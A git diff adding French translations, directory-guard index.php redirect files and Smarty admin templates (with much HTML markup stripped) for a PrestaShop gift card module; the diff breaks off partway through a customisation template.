+$_MODULE['<{giftcard}default>admingiftcardordercontroller_fac61083c7bd8f697c4a05ef1c003fe7'] = 'L\'email est envoyé'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_342caf3cd7fb85056123866705766415'] = 'Email non envoyé, en attente de la date d\'envoi'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_be53a0541a6d36f6ecb879fa2c584b08'] = 'Image'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_57dea6f5039281b7fee517fc43bf3110'] = 'Vecteur'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_7a1920d61156abc05a60135aefe8bc67'] = 'Défaut'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_8cdf1c6345219fcfde50615a78ad3ce6'] = 'Boutique défaut'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Supprimer la sélection'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Supprimer les items sélectionnés?'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_ede4759c9afae620fd586628789fa304'] = 'Activer la sélection'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_ab7fd6e250b64a46027a996088fdff74'] = 'Désactiver la sélection'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_f7de1b71605a10ef04416effa4c6e09e'] = 'Sauvegarder et rester'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_f10b845272fcb0b2b1ee00eef8fb8869'] = 'Modèle carte cadeau'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_d9b5b2302d57f3d13d5387ba9c99daae'] = 'Un erreur c\'est produite pendant la création de l\'objet'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_5fb1f955b45e38e31789286a1790398d'] = 'Tous'; +$_MODULE['<{giftcard}default>admingiftcardtemplatecontroller_6f8497a354aa10bd46e65cdf8e39f6b6'] = 'Non défaut'; +$_MODULE['<{giftcard}default>choicegiftcard_607e1d854783c8229998ac2b5b6923d3'] = 'Token invalide'; +$_MODULE['<{giftcard}default>choicegiftcard_de06ed12b75a6b90657ca83e53a87bcd'] = 'Prévisualisation impossible'; +$_MODULE['<{giftcard}default>choicegiftcard_f92b541cdcb956ab92d38a4a0f5e9d41'] = 'Cette carte n\'est pas disponible, veuillez en choisir une autre.'; +$_MODULE['<{giftcard}default>choicegiftcard_6fc8d8a3a966d91d8dc4ebba09ffafd8'] = 'L\'adresse mail n\'est pas au bon format'; +$_MODULE['<{giftcard}default>choicegiftcard_cb242fffcd3407fce1771b215547f488'] = 'Vous devez choisir un modèle'; +$_MODULE['<{giftcard}default>choicegiftcard_a3d10c3ffadac2467e4f7ef428eb0e5c'] = 'Template invalide, merci d\'en choisir un autre'; +$_MODULE['<{giftcard}default>choicegiftcard_d9b3c25946229b55a490acdcc478ce2f'] = '\"De la part de\" est requis '; +$_MODULE['<{giftcard}default>choicegiftcard_d98a07f84921b24ee30f86fd8cd85c3c'] = 'de'; +$_MODULE['<{giftcard}default>choicegiftcard_ec8214037ef63653aa5273f30fe68e1b'] = 'Le champ %s contien un caractère invalide {}'; +$_MODULE['<{giftcard}default>choicegiftcard_e90982d764ff26bdd2460134e10fb406'] = 'Le nom du destinataire est requis '; +$_MODULE['<{giftcard}default>choicegiftcard_209f55887902a865bb6c999fc16912bb'] = 'Nom du destinataire'; +$_MODULE['<{giftcard}default>choicegiftcard_caf57bac80302530124a084701e9c019'] = 'Message requis'; +$_MODULE['<{giftcard}default>choicegiftcard_4c2a8fe7eaf24721cc7a9f0175115bd4'] = 'Message'; +$_MODULE['<{giftcard}default>choicegiftcard_3c47bb035bdb43672d1500cb05f5d1ce'] = 'La date d\'envoi de la carte est invalide'; +$_MODULE['<{giftcard}default>informations_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}default>informations_092ff92c5c5fb215f214c07d9221e949'] = 'Sera affiché dans le récapitulatif du panier du client ainsi que sur la facture.'; +$_MODULE['<{giftcard}default>informations_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{giftcard}default>informations_14eaed34083f2053dfc768d756e0ec3c'] = 'Toutes les devises'; +$_MODULE['<{giftcard}default>informations_e913ab4c27bcd1adbdb7e9465122c632'] = 'Carte cadeau seulement visible'; +$_MODULE['<{giftcard}default>informations_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}default>informations_694e8d1f2ee056f98ee488bdc4982d73'] = 'Quantité'; +$_MODULE['<{giftcard}default>informations_58a67a15610d2597611bb837b763702d'] = 'Période de validité'; +$_MODULE['<{giftcard}default>informations_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{giftcard}default>informations_63d5049791d9d79d86e9a108b0a999ca'] = 'Référence'; +$_MODULE['<{giftcard}default>informations_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}default>informations_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{giftcard}default>informations_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{giftcard}default>formno_e6bc658d1d1b80a5b522ad370116a2c9'] = 'Carte Cadeau'; +$_MODULE['<{giftcard}default>formno_a82be0f551b8708bc08eb33cd9ded0cf'] = 'Information'; +$_MODULE['<{giftcard}default>formno_e19cae6a8af7eca4fa921d5b66c87814'] = 'Information de la carte cadeau'; +$_MODULE['<{giftcard}default>formno_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}default>custom_field_65fba9ec06765f60ab9510fff2bd2b16'] = 'Acheteur'; +$_MODULE['<{giftcard}default>custom_field_5da618e8e4b89c66fe86e32cdafde142'] = 'De la part'; +$_MODULE['<{giftcard}default>custom_field_1d58b02872ba12914a06fe38bf6dd266'] = 'Réception'; +$_MODULE['<{giftcard}default>custom_field_fa460b2b27e0abdc94218912661ed599'] = 'E-mail à une date spécique'; +$_MODULE['<{giftcard}default>custom_field_53a10624b93334d999f75d26b45f1bb4'] = 'Imprimer chez soi'; +$_MODULE['<{giftcard}default>custom_field_0ea0a2da60925a9b5d7d80e1ee55e5b6'] = 'Personne qui reçoit la carte'; +$_MODULE['<{giftcard}default>custom_field_0c4f82ac8c388cb72b1ba684f10fa098'] = 'Date d\'envoi'; +$_MODULE['<{giftcard}default>custom_field_4dfbb099eafd3c82e033bf92946d3ce6'] = 'Mail'; +$_MODULE['<{giftcard}default>custom_field_dff4bf10409100d989495c6d5486035e'] = 'Nom'; +$_MODULE['<{giftcard}default>custom_field_78e731027d8fd50ed642340b7c9a63b3'] = 'message'; +$_MODULE['<{giftcard}default>list_header_95923cff2ad4637372adcdf25e4581f8'] = 'Signification des statuts'; +$_MODULE['<{giftcard}default>list_header_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}default>list_header_b314b715132fb2f685cd7ac691706d84'] = 'Attente commande acceptée'; +$_MODULE['<{giftcard}default>list_header_051e85808dc9d2dac5a78ad21da24f98'] = 'La commande est en attente de paiement, ainsi la carte n\'est pas envoyée et le code de réduction correspondant n\'est pas généré'; +$_MODULE['<{giftcard}default>list_header_aadb3ee341867ca2327dd458d9f1e42b'] = 'Non utilisée'; +$_MODULE['<{giftcard}default>list_header_9bdd710c6874e8456d6431771b616c55'] = 'La carte cadeau est créée, cependant elle n\'est pas utilisée'; +$_MODULE['<{giftcard}default>list_header_019d1ca7d50cc54b995f60d456435e87'] = 'Utilisée'; +$_MODULE['<{giftcard}default>list_header_7e380c26d3327617e89ec781db11a80e'] = 'La carte cadeau est utilisée, vous pouvez consulter la commande associée.'; +$_MODULE['<{giftcard}default>list_header_ea4788705e6873b424c65e91c2846b19'] = 'Annulée'; +$_MODULE['<{giftcard}default>list_header_218af2f29d281d912433ef6076177da4'] = 'La carte cadeau a été annulée, par exemple la commande est annulée ou remboursée'; +$_MODULE['<{giftcard}default>customize_999ee65fd5205dff5305ce99ae1a54a5'] = 'La fonctionnalité de personnalisation requière l\'extension PHP Imagick, cette extension n\'est pas présente sur votre serveur.'; +$_MODULE['<{giftcard}default>customize_73e4ff6ffa29353a5bacfc71619b4183'] = 'Données variables'; +$_MODULE['<{giftcard}default>customize_d6effb5796170adc1333091e3d2d1edb'] = '0 pour ne pas afficher le prix sur le modèle'; +$_MODULE['<{giftcard}default>customize_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}default>customize_aa74397584da0fd719c7f349ba31e399'] = 'Code de réduction'; +$_MODULE['<{giftcard}default>customize_c49529a6df6f4ad97b66871c4df32ba6'] = 'Texte personnalisable'; +$_MODULE['<{giftcard}default>customize_c67e704415318b8ac85c0e29ccf52f58'] = 'Couleur personnalisable'; +$_MODULE['<{giftcard}default>customize_31fde7b05ac8952dacf4af8a704074ec'] = 'Prévisualiser'; +$_MODULE['<{giftcard}default>customize_e20a3ef58162098507fe519205ccfbcb'] = 'Langue utilisée pour prévisualiser'; +$_MODULE['<{giftcard}default>informations_d075eb73e62ee5941fdb32a02edd8644'] = 'Affiché dans la liste des modèles'; +$_MODULE['<{giftcard}default>informations_afa0e89407bf95c692f0de3516d41556'] = 'Si vous sélectionner une langue, le modèle sera affiché seulement dans cette langue'; +$_MODULE['<{giftcard}default>informations_4994a8ffeba4ac3140beb89e8d41f174'] = 'Language'; +$_MODULE['<{giftcard}default>informations_53ded23a712b29ac06cb364ea8be689b'] = 'Toutes les langues'; +$_MODULE['<{giftcard}default>informations_d1cad276c41899ad987ccf40441c1be2'] = 'Télécharger une image depuis votre ordinateur'; +$_MODULE['<{giftcard}default>informations_c2d0bf5ad42279c519cdcb4a94eb46b6'] = 'Boutiques associées:'; +$_MODULE['<{giftcard}default>informations_3e053943605d9e4bf7dd7588ea19e9d2'] = 'Caractères interdit :'; +$_MODULE['<{giftcard}default>informations_bb168dfc60807bb1ba1fbe643845238b'] = 'Tags séparé par une virgule (anniversaire, saint valentin, coeur,...)'; +$_MODULE['<{giftcard}default>informations_1908624a0bca678cd26b99bfd405324e'] = 'Taille fichier'; +$_MODULE['<{giftcard}default>form_f10b845272fcb0b2b1ee00eef8fb8869'] = 'Modèle carte cadeau'; +$_MODULE['<{giftcard}default>form_63a78ed4647f7c63c2929e35ec1c95e3'] = 'Personnaliser'; +$_MODULE['<{giftcard}default>form_3923bfba54b6d8294df02a7a264f0ff9'] = 'Information du modèle'; +$_MODULE['<{giftcard}default>form_47d44ed4727a9bed10ad17773b1b922e'] = 'Personnaliser le modèle'; +$_MODULE['<{giftcard}default>form_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}default>choicegiftcard_1306bade25c9c93111838baadc58300e'] = 'Carte cadeau'; +$_MODULE['<{giftcard}default>choicegiftcard_79d166a466a0d38d052fd9239592473f'] = 'Aucun modèle disponible'; +$_MODULE['<{giftcard}default>choicegiftcard_239fee0f1fdc53edcb916f66553cecf7'] = 'Aucune carte cadeau disponible'; +$_MODULE['<{giftcard}default>choicegiftcard_f45cdd1b85ed75f4fa60f6db4b44a2a9'] = 'Sélectionner un modèle'; +$_MODULE['<{giftcard}default>choicegiftcard_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{giftcard}default>choicegiftcard_278c491bdd8a53618c149c4ac790da34'] = 'Modèle'; +$_MODULE['<{giftcard}default>choicegiftcard_cb0645f153ad1a4e8b9a2978aa09b815'] = 'Agrandir l\'image'; +$_MODULE['<{giftcard}default>choicegiftcard_e19cae6a8af7eca4fa921d5b66c87814'] = 'Information de la carte cadeau'; +$_MODULE['<{giftcard}default>choicegiftcard_b2f40690858b404ed10e62bdf422c704'] = 'Montant'; +$_MODULE['<{giftcard}default>choicegiftcard_23e9f6b81cce1c7d27492ad9a967748e'] = 'De la part de: votre nom'; +$_MODULE['<{giftcard}default>choicegiftcard_3d158d81b66f4dbe627a98d51e2c122c'] = 'Bénéficiaire : nom'; +$_MODULE['<{giftcard}default>choicegiftcard_e925f4e4eef28c40d3ab8698e1914a05'] = 'Prenez votre plus belle plume'; +$_MODULE['<{giftcard}default>choicegiftcard_a5257a0b90b7f7f19bca83d0336269fb'] = 'caractères restants'; +$_MODULE['<{giftcard}default>choicegiftcard_ae1470ad29c7462a4ab4e3885253e4be'] = 'Sélectionner un mode de réception'; +$_MODULE['<{giftcard}default>choicegiftcard_53a10624b93334d999f75d26b45f1bb4'] = 'Imprimer chez soi'; +$_MODULE['<{giftcard}default>choicegiftcard_dfebb148d1368ade513f1732c8839e0c'] = 'Envoyer par e-mail'; +$_MODULE['<{giftcard}default>choicegiftcard_720ccd4a0625fb6f4d2983e5a52b1d6c'] = 'Bénéficiaire : email'; +$_MODULE['<{giftcard}default>choicegiftcard_61b728377e59eb7ac900896c4f9bd0fa'] = 'Dés que le paiement sera confirmé, la carte cadeau sera envoyée au bénéficiaire par e-mail. Vous pouvez choisir d\'envoyer la carte ultérieurement en sélectionnant une date ci-dessous.'; +$_MODULE['<{giftcard}default>choicegiftcard_bb82b5bf11254e1fead2aa45fa23851c'] = 'Date d\'envoi de la carte'; +$_MODULE['<{giftcard}default>choicegiftcard_86f5978d9b80124f509bdb71786e929e'] = 'Janvier'; +$_MODULE['<{giftcard}default>choicegiftcard_659e59f062c75f81259d22786d6c44aa'] = 'Février'; +$_MODULE['<{giftcard}default>choicegiftcard_fa3e5edac607a88d8fd7ecb9d6d67424'] = 'Mars'; +$_MODULE['<{giftcard}default>choicegiftcard_3fcf026bbfffb63fb24b8de9d0446949'] = 'Avril'; +$_MODULE['<{giftcard}default>choicegiftcard_195fbb57ffe7449796d23466085ce6d8'] = 'Mai'; +$_MODULE['<{giftcard}default>choicegiftcard_688937ccaf2a2b0c45a1c9bbba09698d'] = 'Juin'; +$_MODULE['<{giftcard}default>choicegiftcard_1b539f6f34e8503c97f6d3421346b63c'] = 'Juillet'; +$_MODULE['<{giftcard}default>choicegiftcard_41ba70891fb6f39327d8ccb9b1dafb84'] = 'Août'; +$_MODULE['<{giftcard}default>choicegiftcard_cc5d90569e1c8313c2b1c2aab1401174'] = 'Septembre'; +$_MODULE['<{giftcard}default>choicegiftcard_eca60ae8611369fe28a02e2ab8c5d12e'] = 'Octobre'; +$_MODULE['<{giftcard}default>choicegiftcard_7e823b37564da492ca1629b4732289a8'] = 'Novembre'; +$_MODULE['<{giftcard}default>choicegiftcard_82331503174acbae012b2004f6431fa5'] = 'Décembre'; +$_MODULE['<{giftcard}default>choicegiftcard_31fde7b05ac8952dacf4af8a704074ec'] = 'Aperçu'; +$_MODULE['<{giftcard}default>choicegiftcard_2d0f6b8300be19cf35e89e66f0677f95'] = 'Ajouter au panier'; +$_MODULE['<{giftcard}default>admin_order_047b13a64bff8bbccce2108e3b83a9ce'] = 'Annuler la carte cadeau?'; +$_MODULE['<{giftcard}default>admin_order_e7dea18a6a3ce2d1be570a95a484c299'] = 'Activer la carte cadeau?'; +$_MODULE['<{giftcard}default>admin_order_a6ca74f6a9eab979ddbde680cd7db038'] = 'Carte cadeau achetée'; +$_MODULE['<{giftcard}default>admin_order_1135e4470c306e38db58d991837cd658'] = 'Montant réduction'; +$_MODULE['<{giftcard}default>admin_order_ca0dbad92a874b2f69b549293387925e'] = 'Code'; +$_MODULE['<{giftcard}default>admin_order_03ab340b3f99e03cff9e84314ead38c0'] = 'Qté'; +$_MODULE['<{giftcard}default>admin_order_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activé'; +$_MODULE['<{giftcard}default>admin_order_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}default>admin_order_a10311459433adf322f2590a4987c423'] = 'activé'; +$_MODULE['<{giftcard}default>admin_order_075ae3d2fc31640504f814f60e5ef713'] = 'désactivé'; +$_MODULE['<{giftcard}default>admin_order_1bda80f2be4d3658e0baa43fbe7ae8c1'] = 'voir'; +$_MODULE['<{giftcard}default>admin_order_92e592d90b9548016776a6fb68dccded'] = 'Non utilisée'; +$_MODULE['<{giftcard}default>admin_order_cfd24a56c5e99cf518e59d53a5833231'] = 'Attente commande valide'; +$_MODULE['<{giftcard}default>admin_order_0e22fe7d45f8e5632a4abf369b24e29c'] = 'Annulée'; +$_MODULE['<{giftcard}default>admin_order_902b0d55fddef6f8d651fe1035b7d4bd'] = 'Erreur'; +$_MODULE['<{giftcard}default>admin_order_74563371db148820f89d790136a4ed59'] = 'Voir PDF'; +$_MODULE['<{giftcard}default>admin_order_ad37680764427cd6e1602b27575caced'] = 'Carte utilisée aucun action disponible'; +$_MODULE['<{giftcard}default>admin_order_134f50f3e7118c42ed5d6ddfff4e3e31'] = 'Annuler la carte cadeau'; +$_MODULE['<{giftcard}default>admin_order_8104510b577f551afcabca9c48c2e935'] = 'Activer la carte cadeau'; +$_MODULE['<{giftcard}default>admin_order_2320f8f4b1253ec77ebf584c9560d27e'] = 'Carte cadeau utilisée'; +$_MODULE['<{giftcard}default>admin_order_0e75d9736a52522519588a00416c7154'] = 'Le client a utilisé une carte cadeau dans cette commande, vous pouvez consulter dans cette liste, la commande d\'achat associée à cette carte cadeau'; +$_MODULE['<{giftcard}default>admin_order_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}default>admin_order_e38e5ef12954a20e30a68eceb9d87ade'] = 'Date commande'; +$_MODULE['<{giftcard}default>admin_order_49414cda71621b3ee718ae5ff40804c5'] = 'ID commande'; +$_MODULE['<{giftcard}default>admin_order_bbd3a18e6d45b8331cf8a715f3f0008d'] = 'Commande Statut'; +$_MODULE['<{giftcard}default>blockgiftcard_08638fbbe8a6bfe95f300351d5393ad6'] = 'Offrir une carte cadeau'; +$_MODULE['<{giftcard}default>blockgiftcard_58c25c4b8b4382e37d89e0ef6bd625cf'] = 'Cartes cadeaux'; +$_MODULE['<{giftcard}default>choicegiftcard_56ccd567b832a7569fe602616f89149c'] = 'Sélectionnez un montant'; +$_MODULE['<{giftcard}default>choicegiftcard_87d1fa0d263f86b66d27508fc43bc1d9'] = 'Nom de l\'expéditeur'; +$_MODULE['<{giftcard}default>choicegiftcard_cd25539c84a3a06b008165ef5831ce10'] = 'Nom du destinataire'; +$_MODULE['<{giftcard}default>choicegiftcard_d3736d4552f72d04159ad85d463738f0'] = 'Laissez un message à votre destinataire'; +$_MODULE['<{giftcard}default>choicegiftcard_08a4e5706af7bc2b00a350bb6a0ac28a'] = 'Adresse e-mail du destinataire'; diff --git a/themes/default/modules/giftcard/views/index.php b/themes/default/modules/giftcard/views/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/form/formno.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/form/formno.tpl new file mode 100755 index 0000000..7ac344d --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/form/formno.tpl @@ -0,0 +1,91 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + * + *} + {if $ps_version <= "1.6" } + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
        {block name="leadin"}{/block}
        +{/if} + +
        +{if $ps_version >= "1.6" } +

        {l s='Gift Card' mod='giftcard'}

        +{/if} + +
        + {if $currentObject->id}{/if} + +
        +

        {l s='Gift card information' mod='giftcard'}

        +
        + {include file='../../informations.tpl'} +
        + +
        +
        + \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/form/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/form/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/form/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card/helpers/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card/informations.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card/informations.tpl new file mode 100755 index 0000000..206457d --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card/informations.tpl @@ -0,0 +1,92 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + + + +
        + +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +

        {l s='This will be displayed in the cart summary, as well as on the invoice.' mod='giftcard'}

        +
        + +
        + +

        {l s='gift card only visible' mod='giftcard'}

        +
        + +
        + + + + + * +
        + +
        + + * +
        + +
        + + {l s='Month' mod='giftcard'}* +
        + +
        + +
        + +
        + +
        + +
        + +
        + + +
        +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +
        +
        \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_order/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/custom_field.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/custom_field.tpl new file mode 100755 index 0000000..57781c2 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/custom_field.tpl @@ -0,0 +1,37 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + +
        + + + + + + + {if $giftcardorder->receptmode==1} + + + {/if} + + +
        {l s='Buyer' mod='giftcard'}
        {l s='From' mod='giftcard'}{$giftcardorder->from}
        {l s='Reception' mod='giftcard'}{if $giftcardorder->receptmode==1}{l s='Email to a specific date' mod='giftcard'}{else}{l s='Print at home' mod='giftcard'}{/if}
        {l s='Person who Receive card' mod='giftcard'}
        {l s='Delivery date' mod='giftcard'}{$giftcardorder->delivery_date}
        {l s='Mail' mod='giftcard'}{$giftcardorder->to_mail}
        {l s='Lastname' mod='giftcard'}{$giftcardorder->lastname}
        {l s='message' mod='giftcard'}{$giftcardorder->message}
        +
        + + diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/list_header.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/list_header.tpl new file mode 100755 index 0000000..ca55879 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_order/list/list_header.tpl @@ -0,0 +1,55 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + +{if $ps_version < "1.6" } +
        +{/if} + + + + diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_template/customize.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/customize.tpl new file mode 100755 index 0000000..bdfcc6c --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/customize.tpl @@ -0,0 +1,227 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + {if $ps_version >= "1.6"} +
        + {if !$imagick}

        {l s='The personalization feature requires php imagick extension, this extension is not present on your server.' mod='giftcard'}

        {/if} +
        +
        + +
        +
        +
        + {if isset($availablevars['giftcard_price']) || isset($availablevars['giftcard_code'])} +

        {l s='Data variable' mod='giftcard'}

        + + {if isset($availablevars['giftcard_price'])} +
        + +
        + +
        +
        + {/if} + {if isset($availablevars['giftcard_code'])} +
        + +
        + +
        +
        + {/if} + {/if} + {if $haveCustomText} +

        {l s='Customizable text' mod='giftcard'}

        + {foreach from=$availablevars key=field item=v} + {if $field|strstr:"var_text"} +
